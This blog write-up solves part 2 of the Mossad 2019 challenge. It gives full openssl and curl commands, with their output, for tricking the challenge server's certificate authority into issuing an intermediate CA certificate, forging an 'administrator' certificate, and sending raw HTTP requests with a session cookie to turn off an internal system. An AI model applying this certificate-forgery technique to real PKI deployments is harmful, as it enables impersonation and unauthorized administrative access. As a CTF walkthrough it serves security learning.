The Mossad 2019 Challenge - Part 2

The second challenge begins.

When visiting the included URL - missilesys.com, we’re introduced with a “not welcome” page:

Upon inspection of the HTML source, we can see the included image is linked from a different domain - dev.missilesys.com.

When registering, a CSR (Certificate Signing Request) and a private key is generated in the browser. The CN (Common Name) in the CSR is set to the username you requested. The CSR and private key are sent to the server, and it serves you with a password-protected PKCS #12 file (the password is the password we’ve given). PKCS #12 is a file format standard that stores a certificate and a private key.

The server, which is the CA (Certificate Authority), creates and signs our certificate, per the CSR we’ve sent. We can then use the .p12 file to authenticate against missilesys.com:

In the page there’s nothing interesting except the settings button. However, when trying to reach /settings, we get an error: You are not the administrator!

If we try to register with the administrator username, we receive an error: User already exists!. Changing the CSR in-place yields the same error, as the server probably validates the CN in the CSR.

Our primary playground is the CSR we’re sending to the server. As it’s generated in the client side, we can send whatever CSR we want, the question is whether the server will honor it.

The Chain of Trust

As we can see, the server is playing the role of the root certificate authority. The definition of a CA from wikipedia:

A certificate authority is an entity the issues digital certificates.

So simply put, any CA can issue a certificate, and right now we only know one CA. But the truth is, there can be more than one CA.

If the root CA signs a certificate for an intermediate CA, that intermediate CA can now sign end-entity certificates, thus creating a “chain of trust”.

Taken from Wikipedia - Chain of Trust

So how do we ask to create a CA certificate from a CSR? Turns out you can add extension requests to CSR. The “Basic Constraints” extension specifies whether the certificate is a CA or not, and the maximum depth of valid certification paths.

So let’s add a Basic Constraints extension request to our .csr, first we’ll need to create ca.conf with the following config:

[ req ]
distinguished_name = req_distinguished_name
req_extensions = v3_req
prompt = no

[ req_distinguished_name ]
commonName = somebody

[ v3_req ]
basicConstraints = CA:true

We can now generate the private key and CSR for our intermediate CA, and verify the basic constraints exist in the .csr:

root@beer:~/mycerts# openssl req -new -newkey rsa:2048 -nodes -keyout myca.key -out mycsr.csr -config ca.conf
Generating a 2048 bit RSA private key
...........+++++
....................................................+++++
writing new private key to 'myca.key'
-----
root@beer:~/mycerts# openssl asn1parse -in mycsr.csr
    0:d=0  hl=4 l= 631 cons: SEQUENCE
    4:d=1  hl=4 l= 351 cons: SEQUENCE
    8:d=2  hl=2 l=   1 prim: INTEGER           :00
   11:d=2  hl=2 l=  19 cons: SEQUENCE
   13:d=3  hl=2 l=  17 cons: SET
   15:d=4  hl=2 l=  15 cons: SEQUENCE
   17:d=5  hl=2 l=   3 prim: OBJECT            :commonName
   22:d=5  hl=2 l=   8 prim: UTF8STRING        :somebody
   32:d=2  hl=4 l= 290 cons: SEQUENCE
   36:d=3  hl=2 l=  13 cons: SEQUENCE
   38:d=4  hl=2 l=   9 prim: OBJECT            :rsaEncryption
   49:d=4  hl=2 l=   0 prim: NULL
   51:d=3  hl=4 l= 271 prim: BIT STRING
  326:d=2  hl=2 l=  31 cons: cont [ 0 ]
  328:d=3  hl=2 l=  29 cons: SEQUENCE
  330:d=4  hl=2 l=   9 prim: OBJECT            :Extension Request
  341:d=4  hl=2 l=  16 cons: SET
  343:d=5  hl=2 l=  14 cons: SEQUENCE
  345:d=6  hl=2 l=  12 cons: SEQUENCE
  347:d=7  hl=2 l=   3 prim: OBJECT            :X509v3 Basic Constraints
  352:d=7  hl=2 l=   5 prim: OCTET STRING      [HEX DUMP]:30030101FF
  359:d=1  hl=2 l=  13 cons: SEQUENCE
  361:d=2  hl=2 l=   9 prim: OBJECT            :sha256WithRSAEncryption
  372:d=2  hl=2 l=   0 prim: NULL
  374:d=1  hl=4 l= 257 prim: BIT STRING

We can now send the POST request to the server to get the .p12 file, and check if we got a CA cert:

root@beer:~/mycerts# curl -k -F 'username=nobody' -F 'password=password' -F csr="`cat mycsr.csr`" -F privatekey="`cat myca.key`" https://dev.missilesys.com/download_cert --output ca.p12
root@beer:~/mycerts# openssl pkcs12 -in ca.p12 -passin pass:password | openssl x509 -noout -text -certopt ca_default
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
        Serial Number: 1 (0x1)
        Signature Algorithm: sha256WithRSAEncryption
        Validity
            Not Before: May 17 13:55:42 2019 GMT
            Not After : May 16 13:55:42 2020 GMT
        Subject: CN = somebody
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE

As you can see the CA is set to TRUE. Now that we’re a valid intermediate CA, we can sign an underlying certificate with the CN of ‘administrator’. First, generate a CSR:

root@beer:~/mycerts# openssl req -new -newkey rsa:2048 -nodes -keyout admin.key -out admin.csr -subj "/CN=administrator/"

Now let’s extract our intermediate CA certificate from the .p12 file:

root@beer:~/mycerts# openssl pkcs12 -in ca.p12 -clcerts -nokeys -out myca.crt

Now we’re ready to create and sign the new administrator certificate:

root@beer:~/mycerts# openssl x509 -req -in admin.csr -CA myca.crt -CAkey myca.key -CAcreateserial -out admin.crt -days 10
Signature ok
subject=CN = administrator
Getting CA Private Key

So now we have admin.crt, all we need is to prepend that certificate to our already existing chain. To do that, we’ll first extract the root CA certificate (that belongs to the server), then we’ll cat them together into a .pem file and create a final PKCS #12 file:

root@beer:~/mycerts# openssl pkcs12 -in ca.p12 -cacerts -nokeys -out rootca.crt
Enter Import Password:
root@beer:~/mycerts# cat admin.crt myca.crt rootca.crt > final.pem
root@beer:~/mycerts# openssl pkcs12 -export -inkey admin.key -in final.pem -out final.p12
Enter Export Password:
Verifying - Enter Export Password:

Now you can import final.p12 to your certificates, and use that to identify against the server. If you were to look at the certificate chain, this is what you would see:

We now own the administrator end-entity certificate. Let’s access the /settings page:

This seems to be some sort of telnet client, and a list of hosts in the LAN and their ports. If we tried to connect to any of the hosts with port 23, we would get an error: Only one connection at a time is allowed.

However, port 80 on 10.0.0.1 seems to work correctly. We can input raw HTTP requests into the textbox. I have sent a GET to /:

GET / HTTP/1.1

We got a response! The internal domain seems to be different, as it’s returning a cookie for .missilesystem.com. The page would look like this:

After sending a GET request to /settings, we receive a 302 Found response with a redirect to /. So something’s missing. After trying a bit of different things, it appears that adding the SID cookie from the previous request allows you to access the settings page.

GET /settings HTTP/1.1
Cookie: SID=Z0FBQUFBQmMzc1hkaG...

In the returned page, we can see a button to turn off the management system:

<form method="post">
	<div id="console">
		<input type="submit" value="Turn Off Management System">
	</div>
</form>

So all we need is to POST to /settings now, with our cookie.

POST /settings HTTP/1.1
Cookie: SID=Z0FBQUFBQmMzc1hkaG...

After sending the POST, we’ll be redirected to the completion page:

Yanir Tsarimi

Yanir Tsarimi

Security enthusiast, developer, and blogger (sometimes)

comments powered by Disqus
rss facebook twitter github gitlab youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora